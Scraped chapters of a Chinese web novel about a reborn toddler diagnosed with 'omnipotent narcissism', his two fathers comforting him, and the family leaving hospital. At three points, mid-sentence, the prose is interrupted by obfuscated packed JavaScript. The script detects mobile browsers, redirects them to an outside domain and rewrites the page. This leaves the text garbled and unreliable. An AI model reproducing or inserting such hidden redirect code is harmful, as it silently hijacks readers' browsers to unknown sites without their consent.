陆行渊也伸出手,轻轻拽了拽江知鱼的衣袖:“小鱼,怎么了?” “不好意思,不好意思。”江知鱼回过神来,连声道歉,“我只是觉得,在全面了解全能自恋之前,我们还有一件事情要做。” “什么?”专家疑惑。 “就是……稍等片刻。”江知鱼朝专家抱歉地笑了一下,然后站起身来,朝外面走去。 他在门后站定,伸手握住门把手,往下一压,再往里一拉—— “啊!” 一只软软弹弹的小崽崽,像小炮弹一样,顺着门砸进来,在地上弹了两下,最后摔在江知鱼的脚边。 陆傲握紧拳头,愤怒捶地:“谁?是谁?” “是我,你的亲爸。” 听见熟悉的声音,陆傲哽了一下,再开口时,语气明显有些委屈。 “江知鱼,你干嘛?害我摔倒!” “陆嗷嗷,我还想问你在外面‘狗狗祟祟’的干嘛呢。” “是‘鬼鬼祟祟’。” 都到了这个时候,陆傲还不忘纠正他的用词错误。 在江知鱼看不见的地方,陆傲用力抹了把眼睛,然后一把拽住他的裤腿,想要自己爬起来。 “陆嗷嗷!”江知鱼迅速抓紧自己的裤腰带,大喊一声,“不许拽爸爸的裤子!” 陆傲更委屈了,也对他大喊:“可是我爬不起来了!” 江知鱼害他摔倒,不抱他,也不扶他,还凶他。 可恶的江知鱼,他决定三天不跟他讲话…… 下一秒,江知鱼弯下腰,伸出手,把他抱了起来。 陆行渊从宝宝包里拿出纸巾,要给他擦眼泪。 陆傲却重重地扭过头,躲开他的手,以示抗拒。 江知鱼抱着他,掂了两下,故意问:“干嘛生气?” 陆傲一言不发,只是更加用力地呼吸,小胸脯起起伏伏,像一头发怒的小牛。 “明明是你自己躲在门外偷听爸爸和专家讲话,还差点拽掉爸爸的裤子,爸爸都没生气,你干嘛生气?跟爸爸讲讲嘛,好不好?” 被问得烦了,陆傲转过头,大声说:“因为我很自恋,我是巨婴,所以我生气了。可以了吧?” 话音刚落,原本他含在眼里的两泡眼泪,马上就掉了下来。 他是全能自恋,他是巨婴,他是心理有问题的小孩。 江知鱼和陆行渊都听专家说了一遍,还非要逼他说。 可恶!可恶…… 陆傲用手背抹着眼睛,想让自己别哭了,太丢脸了。 可是不知道怎么的,他的眼泪就是止不住。 可能这也是全能自恋的病情表现之一吧。 没关系,他在心里对自己说,江知鱼和陆行渊不要他,他正好一只崽生活,等他成为股市神之手,有他们求自己的时候。 反正他早就计划好了,离开虚荣的爸爸和冷漠的大爸爸,这在他的计划之内,没关系的。 没关系的…… 江知鱼叹了口气,轻轻握住陆傲的小手,把他的手拿开:“好了好了,不要用手擦,让大爸爸用纸巾帮你擦。” “才不要,哼——” 话还没说完,陆傲就“哼”出一个鼻涕泡泡。 江知鱼没忍住笑出声,陆傲一脸震惊地看着他。 我都哭成这样了,你还笑得出来? 陆傲一把抓住江知鱼的衣领,猛扑上前,像一头猛牛,要把没擦干净的眼泪鼻涕全都抹在他身上。 江知鱼大惊失色:“停下!陆嗷嗷,爸爸错了!快停下!” * 两个家长和专家之间的谈话,只能暂停。 江知鱼抱着陆傲,坐在沙发上。 陆行渊坐在旁边,安安静静地用纸巾擦拭着陆傲的小手。 江知鱼温声问:“嗷嗷,你刚刚在门外,没有把专家的话听清楚、听完整。” “专家叔叔的意思是,虽然你有一点点点点——像鼻噶一样小的全能自恋,但是不妨碍你是智商143的小天才。” “对不对?” 在陆傲看不见的地方,江知鱼疯狂朝专家使眼色。 专家马上点头配合:“对对对,我就是这个意思。” 江知鱼继续说:“你都是小天才了,自恋一点怎么了?自恋的天才也是天才,你有自恋的本事,对不对?” 陆傲还是窝在他怀里,不点头,不摇头,也不说话。 “再说了,自恋又不是什么治不好的绝症,又不会死翘翘,又不会变成小狗,有什么可在乎的?” “可是……”陆傲终于开了口,“我心理有问题。” “有问题又怎么样?只是小问题而已嘛!”江知鱼理直气壮,“专家叔叔都说了,不用打针,也不用吃药,是可以自己调节好的,连这次感冒都不如。” “就算调节不好,也没关系。像我们这样的家庭,家大业大,自恋一点怎么了?我们家就需要你这种自恋的霸道总裁。你大爸爸是霸总,但是他一点都不自恋,你正好填补空缺了!” “任何问题,只要我们不把它当问题,那它就不是问题!” 江知鱼哄小孩,一套一套的。 不光是陆傲,心理专家在旁边也听得一愣一愣的。 好有道理啊!这位江先生适合做儿童心理专家! “而且——”江知鱼顿了顿,“专家说,全能自恋,是因为小孩子在幼儿时期,没有得到家长很好的照顾,才会出现的问题。” “应该是爸爸和大爸爸很惭愧才对。爸爸和大爸爸没有照顾好你,才会让你变成这样。” 江知鱼低下头,目光认真地看着他。 “嗷嗷,对不起。” 这时,陆行渊帮他擦完手,丢开纸团,同样认真地看着他。 “陆傲,对不起。” 陆傲有些惊讶,看着他们,怀疑是自己听错了。 虚荣的江知鱼和冷漠的陆行渊,怎么会向他道歉呢? 江知鱼问:“你能原谅爸爸和大爸爸吗?” 陆傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027528|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说话,江知鱼就抱着他,摇来摇去,脸颊贴着他的脸颊,蹭来蹭去。 好似群魔……一魔乱舞。 “嗷嗷,你能原谅爸爸和大爸爸吗?我们已经知道错了?昂?别生气了,嗷嗷,爸爸知道,你是世界上最宽容、最大度、最好最好的小宝宝,求你了!” “江知鱼,你走开!”陆傲试图推开他。 “不行,你不原谅爸爸,爸爸就不走开。” 江知鱼变本加厉,不仅贴贴他的脸颊,还故意给他抛飞吻,啵唧啵唧的。 陆傲被他黏得不行,一脸无奈地叹了口气:“好吧,那这次就原谅你了。” 虽然他的全能自恋和他们有关,但是…… 爸爸都这样求他了,崽崽还能怎么办呢? 当然是原谅他啦。 “不过——”陆傲话锋一转,“我还没有原谅陆行渊。” 陆行渊面色一沉:“你说什么?” 陆傲大逆不道:“你都没有求我。” 陆行渊不敢相信:“你想让我求你?” “对呀,爸爸都求我了。” “爸爸只是在哄你,你最好不要得寸进尺。” “胡说,明明是我这个成熟的崽崽在包容幼稚的爸爸,你最好赶紧求我。” 滋啦滋啦的高压电流,在父子二人之间来来回回。 江知鱼连忙劝架:“好了好了,不要吵架!我是幼稚的小鱼,需要成熟的老公和成熟的崽崽包容我,可以了吧?” 这还差不多。 好不容易把陆傲哄好,他们也就不打算继续和专家讨论调节方案了。 要么另约时间,要么请专家把方案形成书面内容,发给他们。 不过,专家说:“小朋友年龄还小,又有这么好的两个爸爸陪着,应该是不会有问题的,我建议暂时不用人工干预,先观察一年再说。” 这样也好。 向专家道过谢,江知鱼抱着陆傲,陆行渊提着包包,一家三口准备离开。 走出办公室的时候,江知鱼看见那个年轻的护士站在门口,表情有些紧张,想要说些什么,却犹豫着不敢上前。 江知鱼笑了笑,抱着陆傲走到他面前,安慰他:“没关系的,嗷嗷一直都这样,我和他大爸爸有时候都看不住他。别担心,我会跟医院那边说,不会扣你的工资的。” “嗷嗷,快说‘对不起’,你给护士姐姐的工作带来麻烦了。” 陆傲揪着衣摆,对上江知鱼严肃的目光,最后还是说了一声:“对不起。” 护士这才松了口气:“没关系,下次不要到处乱跑了。” 一家三口向护士道过别,并肩朝外走去。 江知鱼说:“嗷嗷,我们做总裁的,不仅要霸道,还要知错就改,对吧?” “嗯。”陆傲点点头,张开双手,抱住江知鱼的脖子。 其实,他前世就知道自己有心理问题了。 他没想到,心理问题会延续到重生以后,还会……还会被爸爸和大爸爸发现。 他不想让他们知道,太丢脸了,太难堪了。 陆傲把脸埋进江知鱼的肩窝里,小小声地问:“江知鱼,如果我是个坏小孩,你们会怎么办呢?” “你是个坏小孩啊?嗯……”江知鱼认真思考。 陆行渊淡淡道:“坏了就修,修完了继续养。” 江知鱼也笑着说:“大爸爸说的对,送来‘爸爸和大爸爸维修厂’修一下就好啦!” 23.出院 23 ——坏掉的小崽崽捡起来修一修,修好了继续养。 陆傲对这个回答不是特别满意。 他双手抱着江知鱼的脖子,趴在他怀里,双眼看着陆行渊,严肃地纠正他们:“我又不是机器人。” “你不是小机器人,那你是什么?”江知鱼故意问,“你是小冰箱、小电视、小摩托,哭起来‘嗡嗡嗡’的。” 陆傲不敢相信地睁大眼睛,从江知鱼怀里坐直起来。 你说什么? 江知鱼浑然不觉,仍旧沉浸在自己编的童话故事里。 “有一天,嗷嗷小机器人早上起床,发现自己的声音变了,从‘嗡嗡嗡’变成‘轰隆隆’。糟糕了,嗷嗷生病了。” “嗷嗷赶紧骑上自己心爱的小摩托,‘轰隆轰隆’,来到爸爸和大爸爸开的修理厂。小机器人哭着说:‘爸爸、大爸爸,不好啦!我变成一个小坏机器人啦!’” “于是爸爸马上把小机器人的电源切断,大爸爸给小机器人做检查,检查发现……” ——“江知鱼!” 陆傲听不下去了,大喊一声,打断他的故事。 “嗯?”江知鱼笑得眉眼弯弯,“嗷嗷不想听故事吗?” “不想!”陆傲断然拒绝。 他才不想听自己的故事呢,反正…… “反正最后,修理厂会把小机器人修好的,对吧?” “对呀。爸爸和大爸爸都是当世神医,妙手回春,马上就把小机器人治好了。” 听见江知鱼这样说,陆傲这才反应过来,自己不小心把心里话说出来了。 他连忙举起双手,捂住自己的嘴巴,假装无事发生。 陆行渊目光一凝,伸出手,把粘在他手上的纸屑捡走。可能是刚刚用纸巾给他擦眼泪留下的。 这时候已经是中午十二点了。 太阳挂在头顶正中,阳光有些刺眼。 一家三口选择走花园那条小路,有树荫可以遮阳。 走出去没多远,江知鱼忽然想起什么,大喊一声:“完蛋!” 陆行渊停下脚步:“小鱼,怎么了?” “我有东西忘拿了。”江知鱼直接把陆傲塞进他怀里,“你和嗷嗷在这里等我,我回去一趟。” “什么东西?我回去拿。” “我自己去,你带着嗷嗷找个阴凉的地方等,别晒黑了!” 陆行渊往前追了两步,但江知鱼就像一只小鱼,摆一下尾巴,“哧溜”一下就游走了。 没办法,陆行渊只能端着陆傲,退到路边树荫下等候。 没错,是端着。 和江知鱼一手托着陆傲的小短腿,一手扶着陆傲的背不同。 陆行渊是双手分别托着陆傲的腿,让他的后背靠在自己怀里。 这给陆傲一种“自己是盘菜”的错觉。 他抬起头,认真地看着陆行渊。 陆行渊也低下头,认真地看着他。 父子二人都是话少的霸总,四目相对之间,竟不知道该说些什么。 沉默。 一秒、两秒、三秒。 终于,陆行渊开了口:“你渴不渴?要不要喝水?” 陆傲摇摇头,礼貌道谢:“谢谢,我不渴。” 本来这段对话,到这里就可以结束了。 可是下一秒,陆行渊道:“哭了这么久,应该缺水了。” 陆傲哽住。 你……你你你怎么一点情商都没有啊?哪壶不开提哪壶! 陆行渊反手取下挂在身上的小水壶,打开盖子,递给陆傲:“喝。” 陆傲双手抱着水壶,用尽全身的力气吸溜! 讨厌的陆行渊,比江知鱼讨厌一百倍! 忽然,陆行渊又道:“我上次提醒过你的,不要直呼爸爸的大名。” “爸爸都没说什么。” “爸爸会伤心的。” “可是……” 其实陆傲也喊过几次“爸爸”,但那几次都是他没注意到,下意识喊出来的。 要是让他集中注意力,认认真真地喊出“爸爸”两个字,他还做不到。 “下次有事情,可以喊我的大名。” “噢。”陆傲顿了顿,喊了一声,“陆行渊。” “嗯。” 正巧这时,小路尽头传来江知鱼欢快的声音。 “我回来啦!” 父子二人眼睛一亮,同时转头看去,连转头的幅度都一模一样。 只见江知鱼手里拿着一个透明的文件袋,“噌噌”地跑回来。 陆行渊端着陆傲,迎上前去。 “小鱼。” “江……你拿了什么?” “看!”江知鱼举起文件袋,在他们面前转了一圈,“嗷嗷的智商检测报告。这可是143分的检测报告,一定要带上!” 他把文件抱进怀里:“等回了家,我们就把有分数这页拆下来,用相框裱起来,挂在墙上,和我们家的营业许可证挂在一起,让所有来我们家买东西的人都看看,嗷嗷是个小天才!” 陆傲总觉得有哪里不对劲。 “我们家的营业许可证”是什么? “来我们家买东西的人”又是什么? 但他来不及思考,赶忙大声抗议:“不要!” 前世是他年纪小、不懂事,这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037649|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一定要严厉拒绝! 他不要把报告挂在墙上,给别人看,他不要给自己童年留下黑历史! 江知鱼故意问:“真的不要吗?这么高的分数,不要炫耀一下吗?只有我们一家人知道的话,那也太可惜了吧?” “嗯……”陆傲有些犹豫。 其实……这也不算是黑历史,对吧? 这么高的分数,应该是“白历史”、“光辉历史”、“璀璨历史”才对。 陆傲红着小脸,声音也变小了:“不要……” “既然嗷嗷不想炫耀,那爸爸现在就把报告还回去好了。” 江知鱼转身要走,陆行渊也说:“小鱼,你留在这里陪他,我跑一趟。” “好呀。” ——“等一下!” 眼见着陆行渊要回去了,陆傲连忙喊住他们:“不要……” “爸爸知道,你不想把报告挂起来,大爸爸正准备把东西送回去呢。” “嗯……要……” 陆傲小怪兽张开嘴巴,悄悄把前面那个“不”字吃掉。 “要挂起来……” * 满打满算,一家人在医院里住了快一个星期。 后面几天陆傲的情况都很好,没有发烧,没有咳嗽,更没有半夜起来乱跑乱撞。 这天晚上,医生护士照例过来给他检查身体。 医生翻看着这几天的病情登记表,说:“小朋友恢复得不错,最后观察一个晚上,只要今晚没问题,明天就可以出院回家了。” “好耶,谢谢医生!” 江知鱼欢天喜地,陆行渊眼里有了笑意。 陆傲坐在病床上,摸摸脑袋,也忍不住期待起来。 回家! 前世十几岁的他,在做了噩梦之后,抄起棒球棍,把家里砸了个稀巴烂,又在心理医生的建议下,换了一个住所。 他早已经忘记,三岁的自己住过的房子是什么模样了。 他忽然,好想回去看看。 这天晚上,轮到江知鱼搂着他睡。 陆傲闭上眼睛,幻想家的模样。 那应该是个很大很大的房子——有陆氏集团的财力加持,房子肯定不会小。说不定是一个巨大的庄园,直接占满一个山头。 应该会有很大很大的草坪——小孩子需要户外运动。 还要有很大很大的零食室、影音室和会议室,满足家庭每个成员的需求。 还要……还要…… 还要把他的智商检测报告挂在玄关。 陆傲想着想着,不知不觉间,就睡着了。 一夜无梦,陆傲趴在爸爸怀里,睡得很香很甜。 24.回家 24 “老婆,这个雪人玩偶不是我们家的,是医院的。” “啊?可是我记得……” “我们家的玩偶围巾是红色的。” “噢噢,那我放回去。” “老婆,陆傲还没起床,你现在把他的拖鞋收起来,他就只能光着脚了。” “我给忘了,我太想回家了。” ——早上八点半。 陆傲躺在床上,隐约听见江知鱼和陆行渊在说话。 两个人都用气声说话,声音小小的,忽远忽近。 一股无形的力量,催促他睁开眼睛。 快起床!快起床! 再不起床,爸爸和大爸爸就要把你的玩具和拖鞋收走了,说不定还会把你一个人丢在医院里。 不行!他不要一个人留下…… 下一秒,陆傲倏地睁开眼睛,从床上弹起来。 江知鱼和陆行渊两个人像做贼一样,一个人拿着陆傲的绘本,一个人提着陆傲的小拖鞋,猫着腰,被定在原地。 小夫夫缓缓转过头,和陆傲对上视线。 江知鱼举起手,轻轻挥了挥:“哈喽,嗷嗷,你醒啦?” 陆傲揉了揉眼睛,表情复杂:“你们两个在干什么?” “医生刚刚来检查,说你可以出院了,爸爸和大爸爸正在收拾行李呢。” 江知鱼怕吵醒陆傲,但又按捺不住想回家的心,于是先把自己的东西收拾好。 等到八点半,陆傲还没醒,江知鱼就拉着陆行渊,把两个大行李箱推到走廊上,像蚂蚁搬家一样,把陆傲的东西一点一点搬出去。 陆傲皱起小脸,一阵无语。 有这么着急回家吗? 你们不是一个花天酒地,另一个拼搏事业,都不回家的吗? “醒了就快起床,别坐着发呆了。陆行渊,上!” 江知鱼一声令下,陆行渊马上放下手里的绘本,大步走到陆傲面前,把他从被窝里抱了出来。 陆傲被吓了一跳,用力蹬脚:“放开我!陆行渊,放我下来!” 小崽崽反抗无效,惨遭大爸爸镇压。 江知鱼把他的小拖鞋放在洗漱台前,陆行渊又把他放在拖鞋上:“自己踩好。” 江知鱼说:“给你十分钟刷牙洗脸。” “知道了。” 陆傲瘪了瘪小嘴,伸手去拿口杯和牙刷。 他们甚至连牙膏都帮他挤好了,这是有多着急啊? * 半个小时后。 陆傲洗漱完毕、吃完早餐,换上一件太阳蛋图案的鹅黄色背带裤。 离开医院,就不能再穿病号服了。这是他精挑细选十分钟,挑出来的勉强能看的衣服。 还是那句老话,江知鱼的品味真的很差。这条背带裤,不仅胸口有一个大大的荷包蛋,连背带纽扣都是荷包蛋的。 陆傲完全是闭着眼睛,强迫自己穿上的。 陆傲轻装上阵,只背了一个小小的果冻透明包,里面装着他的玩具和绘本。 江知鱼背着装杂物的背包,陆行渊和张大爷分别拖着两个行李箱。 一家四口先坐电梯到一楼,然后一起去停车场。 路上遇到同样拎着行李,去停车场的顾白一家三口。 顾白看见陆傲,就两眼放光,黏了上去:“嗷嗷,你也是今天出院啊!” “嗯。”陆傲微微颔首。 “那我们正好顺路,路上也有个照应!” 周朔一脸无语:“你知道‘照应’是什么意思吗?你就照应。” “当然知道啦。”顾白嘻嘻笑,“就是照顾的意思。” 陆傲略一沉吟,问:“我们两家住得很近吗?” “对呀。” 看来是两座并列修建的庄园。富人总是住在同一片区域。 陆傲深以为然,点了点头。 这时,周朔又说:“小白,你刚刚不是还说要帮爸爸提东西的吗?怎么就跑掉了?” “来了。”顾白应了一声,最后对陆傲说,“嗷嗷,我去帮爸爸,你有需要帮忙的事情就喊我噢。” “嗯。” 顾白屁颠屁颠地跑上前,帮顾云帆提编织袋。 陆傲转头看向江知鱼和陆行渊。 陆行渊这么高大,应该不用帮忙。 可江知鱼只背了一个包,手上也没有提东西。 陆傲抿了抿嘴角,最后走到江知鱼身后,举起小手,托住江知鱼的背包,帮他减轻重量。 江知鱼好像完全没有发现,一直到了停车场,才惊喜地回过头。 “哇,谢谢嗷嗷!爸爸就说,怎么走着走着,背包好像变轻了,原来是嗷嗷在帮爸爸扶着!太感谢嗷嗷啦!” 陆傲红着小脸蛋,清了清嗓子,语气还是很严肃的:“你的防范意识太差了,万一是小偷怎么办?” “没关系,没有人会偷你的奶牛秋衣。偷也不怕,爸爸给你买了三套。” “……” 和顾白一家分开,他们来到那辆熟悉的粉色小电车前。 陆傲皱起小脸,目光复杂地看向陆行渊。 陆氏集团总裁,你的迈巴赫呢?你的保时捷呢?你的加长版劳斯莱斯呢? 为什么还是这辆mini车? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044956|147345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你太没本事了,竟然开老婆的车! 陆行渊是真的没有察觉。他打开车门,先把自己手里的行李箱塞到后排座位空隙里,然后把江知鱼背上的背包压上去。 江知鱼则抱起陆傲,绕到另一边车门前,把他放到儿童安全座椅上。 “嗷嗷,辛苦你和行李箱一起坐一段路啦。别担心,大爸爸放得很稳,爸爸开车也很稳的。” “嗯……”陆傲说不出话来。 帮他系好安全带,江知鱼便坐到驾驶位上,朝张大爷一招手:“大爷,上车。” 张大爷坐上副驾驶,小电车就塞满了。 那陆行渊怎么办? 陆傲不解地看向窗外。 陆行渊提起剩下一个行李箱,放在……放在旁边的一辆青绿色小电驴上! 陆傲从未注意到这辆小电驴! 他不敢置信地探出脑袋,瞪大眼睛。 陆行渊把行李箱卡在小电驴座位前面,然后坐上车,戴上黑色头盔。 动作熟练,行云流水。 你可是陆氏集团的总裁!你在干什么? 忽然,江知鱼按了一下喇叭,让陆傲回过神。 江知鱼从车里探出脑袋,对陆行渊说:“老公,准备好了吗?” “准备好了。”陆行渊拧动小电驴钥匙,点了点头,“开车小心。” “出发!” 江知鱼一踩油门,陆行渊一拧油门。 “哧溜”一声,小电车和小电驴同时出发。 留下一地尾气,还有陆傲的脑子…… 怎么回事? 发生了什么?怎么会这样? 豪门夫夫的座驾怎么会是这样的? 车子离开医院,经过保安亭的时候,江知鱼向帮过忙的保安道了谢,然后开着车子,一路向西。 陆行渊骑着小电驴,紧紧跟随。 陆傲目不转睛地盯着外面的景象。 没有高楼大厦,没有车水马龙,更没有灯红酒绿。 从私立医院出来,过了两个红绿灯,场景越来越荒凉。 陆傲的小心脏提到了嗓子眼。 爸爸和大爸爸不会要把他卖掉吧,就像卖猪一样? 还是要把他载到荒郊野岭丢掉,像丢垃圾一样? 陆傲深呼吸平复心情,握紧拳头,下定决心,要是江知鱼和陆行渊要把他卖掉,他就打他们。 给他们一人一拳,然后逃跑,开启荒野求生副本。 不知道过了多久,在陆傲忐忑不定的心情中,车子终于停下。 陆傲猛地转过头,一个大大的红色招牌,映入眼中——